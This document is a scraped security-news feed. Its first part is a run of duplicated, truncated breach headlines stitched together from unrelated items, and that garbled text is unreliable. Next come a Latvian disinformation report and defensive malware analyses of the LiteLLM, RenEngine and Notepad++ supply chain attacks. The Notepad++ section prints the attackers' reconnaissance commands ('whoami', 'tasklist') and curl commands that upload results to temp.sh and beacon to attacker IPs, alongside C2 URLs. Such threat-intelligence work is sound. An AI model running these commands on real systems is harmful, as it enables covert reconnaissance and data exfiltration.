What happened A ransomware attack on Sandhills Medical Foundation, a Federally Qualified Community Health Center in McBee, South Carolina, is now the subject of a class action investigation, nearly a year after the incident was first discovered. Sandhills Medical discovered the ransomware attack on May 8, 2025. A forensic investigation determined that an unauthorized third […]
The post Sandhills Medical Foundation Ransomware Breach Draws Class Action Investigation Nearly a Year Later appeared fi
What happened A ransomware attack on Sandhills Medical Foundation, a Federally Qualified Community Health Center in McBee, South Carolina, is now the subject of a class action investigation, nearly a year after the incident was first discovered. Sandhills Medical discovered the ransomware attack on May 8, 2025. A forensic investigation determined that an unauthorized third […]
What happened CTM360 researchers have uncovered a large-scale fraud operation using Telegram’s Mini App feature to run cryptocurrency scams, impersonate major brands, and distribute Android malware. The platform behind the operation, dubbed FEMITBOT based on a string found in API responses, uses Telegram bots and embedded Mini Apps to create convincing app-like experiences within the […]
The post Telegram Mini Apps Abused for Crypto Scams and Android Malware Delivery appeared first on CISO Whisp
What happened CTM360 researchers have uncovered a large-scale fraud operation using Telegram’s Mini App feature to run cryptocurrency scams, impersonate major brands, and distribute Android malware. The platform behind the operation, dubbed FEMITBOT based on a string found in API responses, uses Telegram bots and embedded Mini Apps to create convincing app-like experiences within the […]
What happened Frost Bank, San Antonio’s largest bank, is facing two proposed class-action lawsuits following a cyberattack attributed to the Everest ransomware group that allegedly exposed the sensitive personal data of an estimated 109,000 customers. The bank has not publicly confirmed the scope of the breach or reported it to the Texas Attorney General’s Office, […]
The post Frost Bank Hit With Class-Action Lawsuits Over Data Breach Affecting More Than 100,000 Customers appeared first on CISO
What happened Frost Bank, San Antonio’s largest bank, is facing two proposed class-action lawsuits following a cyberattack attributed to the Everest ransomware group that allegedly exposed the sensitive personal data of an estimated 109,000 customers. The bank has not publicly confirmed the scope of the breach or reported it to the Texas Attorney General’s Office, […]
What happened A cybersecurity incident in late April 2026 targeted Sistemi Informativi, an Italian company wholly owned by IBM Italy that provides IT infrastructure management for public agencies and key private sector organizations. IBM confirmed the breach through an official statement, acknowledging it had identified and contained a cybersecurity incident and activated incident response protocols […]
The post Salt Typhoon Suspected in Breach of IBM Italy Subsidiary Managing Public Infrastruct
What happened A cybersecurity incident in late April 2026 targeted Sistemi Informativi, an Italian company wholly owned by IBM Italy that provides IT infrastructure management for public agencies and key private sector organizations. IBM confirmed the breach through an official statement, acknowledging it had identified and contained a cybersecurity incident and activated incident response protocols […]
What happened Cyberthint analysts have documented a structural shift in how cyberattacks are conducted, with threat actors now using artificial intelligence to discover and exploit zero-day vulnerabilities in minutes rather than months. The firm identified this transition in late 2024, noting that AI is operating not just as a research assistant but as an active […]
The post Threat Actors Use AI to Automate Zero-Day Discovery and Exploitation at Machine Speed appeared first on CISO Whisperer.
Th
What happened Cyberthint analysts have documented a structural shift in how cyberattacks are conducted, with threat actors now using artificial intelligence to discover and exploit zero-day vulnerabilities in minutes rather than months. The firm identified this transition in late 2024, noting that AI is operating not just as a research assistant but as an active […]
What happened A supply chain attack campaign attributed to TeamPCP, dubbed Mini Shai-Hulud, has compromised packages across the PyPI, NPM, and PHP ecosystems over a two-day period, affecting over 1,800 developer repositories containing stolen credentials. The campaign was first identified on April 29 when malicious versions of four SAP NPM packages were caught delivering information-stealing […]
The post 1,800 Developers Hit in Mini Shai-Hulud Supply Chain Attack Across PyPI, NPM, and PHP appear
What happened A supply chain attack campaign attributed to TeamPCP, dubbed Mini Shai-Hulud, has compromised packages across the PyPI, NPM, and PHP ecosystems over a two-day period, affecting over 1,800 developer repositories containing stolen credentials. The campaign was first identified on April 29 when malicious versions of four SAP NPM packages were caught delivering information-stealing […]
What happened A third iteration of the ConsentFix attack technique has been circulating on hacker forums, introducing automation and scalability to a method that abuses Microsoft Azure’s OAuth2 authorization code flow to hijack accounts without passwords and despite multi-factor authentication being enabled. The original ConsentFix was documented by Push Security in December 2025 as an […]
The post ConsentFix v3 Automates OAuth Abuse to Bypass MFA and Hijack Azure Accounts appeared first on CISO
What happened A third iteration of the ConsentFix attack technique has been circulating on hacker forums, introducing automation and scalability to a method that abuses Microsoft Azure’s OAuth2 authorization code flow to hijack accounts without passwords and despite multi-factor authentication being enabled. The original ConsentFix was documented by Push Security in December 2025 as an […]
What happened The FBI issued a public service announcement on April 30, 2026, warning the US transportation and logistics industry of a sharp rise in cyber-enabled cargo theft, with estimated losses in the United States and Canada reaching nearly $725 million in 2025. That represents a 60% increase over the prior year. Confirmed cargo theft […]
The post FBI Links Cybercriminals to Sharp Surge in Cargo Theft Attacks appeared first on CISO Whisperer.
The post FBI Links Cybercriminals to Sharp Surg
What happened The FBI issued a public service announcement on April 30, 2026, warning the US transportation and logistics industry of a sharp rise in cyber-enabled cargo theft, with estimated losses in the United States and Canada reaching nearly $725 million in 2025. That represents a 60% increase over the prior year. Confirmed cargo theft […]
What happened Instructure, the company behind the Canvas learning management system, has disclosed that it recently suffered a cybersecurity incident perpetrated by a criminal threat actor and is now investigating its scope with the help of outside forensics experts. The disclosure was made by Chief Security Officer Steve Proud, who committed to transparency as the […]
The post Edtech Firm Instructure Discloses Cyber Incident, Probes Impact appeared first on CISO Whisperer.
The post Edtech Firm
What happened Instructure, the company behind the Canvas learning management system, has disclosed that it recently suffered a cybersecurity incident perpetrated by a criminal threat actor and is now investigating its scope with the help of outside forensics experts. The disclosure was made by Chief Security Officer Steve Proud, who committed to transparency as the […]
What happened Ameriprise Financial has disclosed a data breach affecting nearly 48,000 individuals across the United States, following unauthorized access to stored company data and files that began on March 2, 2026. The company detected the intrusion on March 18, approximately 16 days after it began, and filed a breach notification with the Maine attorney […]
The post Ameriprise Financial Data Breach Exposes Personal Information of 48,000 Customers appeared first on CISO Whisperer.
The post Ame
What happened Ameriprise Financial has disclosed a data breach affecting nearly 48,000 individuals across the United States, following unauthorized access to stored company data and files that began on March 2, 2026. The company detected the intrusion on March 18, approximately 16 days after it began, and filed a breach notification with the Maine attorney […]
What happened An internet-connected coffee machine reportedly led to a significant corporate data breach after attackers used the device as an entry point into a secure network. A digital forensics investigator identified only as TR examined the incident after a client suspected a rival had infiltrated its systems. Instead of finding malware, the investigator found […]
The post Internet-Connected Coffee Machine Reportedly Led to Corporate Data Breach appeared first on CISO Whisperer.
The post In
What happened An internet-connected coffee machine reportedly led to a significant corporate data breach after attackers used the device as an entry point into a secure network. A digital forensics investigator identified only as TR examined the incident after a client suspected a rival had infiltrated its systems. Instead of finding malware, the investigator found […]
Latvia’s Ministry of Defence has warned that a Russian information operation is currently targeting the Baltic States, with false claims that Latvia, Lithuania, and Estonia are supporting Ukrainian attacks against Russia.
In a statement, the Ministry said the allegations are incorrect and that the Baltic States are not involved in planning or carrying out Ukraine’s counterattacks. Officials reiterated that their support to Ukraine is limited to military equipment, humanitarian aid, and financ
Latvia’s Ministry of Defence has warned that a Russian information operation is currently targeting the Baltic States, with false claims that Latvia, Lithuania, and Estonia are supporting Ukrainian attacks against Russia.
In a statement, the Ministry said the allegations are incorrect and that the Baltic States are not involved in planning or carrying out Ukraine’s counterattacks. Officials reiterated that their support to Ukraine is limited to military equipment, humanitarian aid, and financial assistance, in line with international commitments.
The Ministry said the Russian information operation is part of a broader effort to discredit NATO, weaken public trust in state institutions, and reduce support for Ukraine across the region.
Russian Information Operation Targets Baltic Societies
According to Latvian authorities, the campaign involves coordinated disinformation efforts, including the use of social media bots and targeted messaging. The operation is said to focus on Russian-speaking communities and younger audiences.
Officials stated that such narratives are being amplified to create confusion and division within Baltic societies.
The warning comes amid heightened concerns over hybrid threats in the region, including cyberattacks and influence operations linked to Russia.
[caption id="attachment_110822" align="aligncenter" width="737"] Image Source: Ministry of Defence of Latvia[/caption]
Ukrainian Drone Incidents Used to Amplify Claims
The Russian information operation follows recent reports of Ukrainian drones entering Baltic airspace during large-scale attacks on Russian infrastructure.
Authorities in Latvia and Estonia confirmed that two drones entered their airspace earlier this week via Russia. One drone reportedly struck a chimney at a power station near the Estonian border, while another crash-landed. Lithuania also reported a separate incident where a drone fell into a frozen lake.
Officials said there were no casualties or significant damage from these incidents.
The drones are believed to have been part of a broader Ukrainian operation targeting Russian oil facilities, including ports along the Baltic Sea.
No Direct Involvement by Baltic States
Latvian authorities stressed that the Russian information operation is attempting to link these drone incidents to alleged Baltic involvement, which they deny.
The Ministry noted that Ukraine has the right to defend itself against Russia’s invasion and that Baltic support does not extend to operational involvement in military actions.
Officials also suggested that such claims are intended to divert attention from Russia’s own challenges in countering Ukrainian strikes.
[caption id="attachment_110823" align="aligncenter" width="751"] Image Source: Ministry of Defence of Latvia[/caption]
Growing Focus on Hybrid Threats
The latest warning adds to ongoing concerns about hybrid activities in the Baltic region. Earlier this year, Latvian security services reported that cyberattacks and sabotage operations linked to Russia remain a significant threat.
Officials have also indicated that Russia’s perception of Latvia is becoming more confrontational, drawing comparisons to its stance toward Ukraine prior to the 2022 invasion.
While no immediate military threat has been identified, authorities say information operations remain a key tool being used to influence public opinion and destabilize the region.
Monitoring and Response Ongoing
Latvia’s Ministry of Defence said it continues to monitor the Russian information operation and assess its impact across the Baltic States.
The government has urged vigilance against disinformation and reiterated its commitment to supporting Ukraine within the framework of international law.
The situation remains under observation as authorities track both the spread of false narratives and related security developments in the region.
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.
This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.
Repository compromise
The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.
Technical analysis
Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.
Example of the malicious code in proxy_server.py
The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.
The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.
The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.
What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:
SSH keys
GIT accounts
.env files
AWS, Kubernetes, email service, database, and WireGuard configurations
files related to Helm, Terraform, and CI
TLS keys and certificates
A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.
The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.
Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.
In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.
Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.
A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.
OpenVSX version of the malware
While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.
This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.
Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.
Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.
Victimology
While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.
Conclusion
As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.
Prevention and protection
To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.
Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.
To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.
At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:
Perform a full system scan using a reliable security solution.
Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
Check for indicators of compromise (files on the system or network signs).
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified ver
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”
Game download page
When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.
Placeholder with the download screen
“Game” source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to inte
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
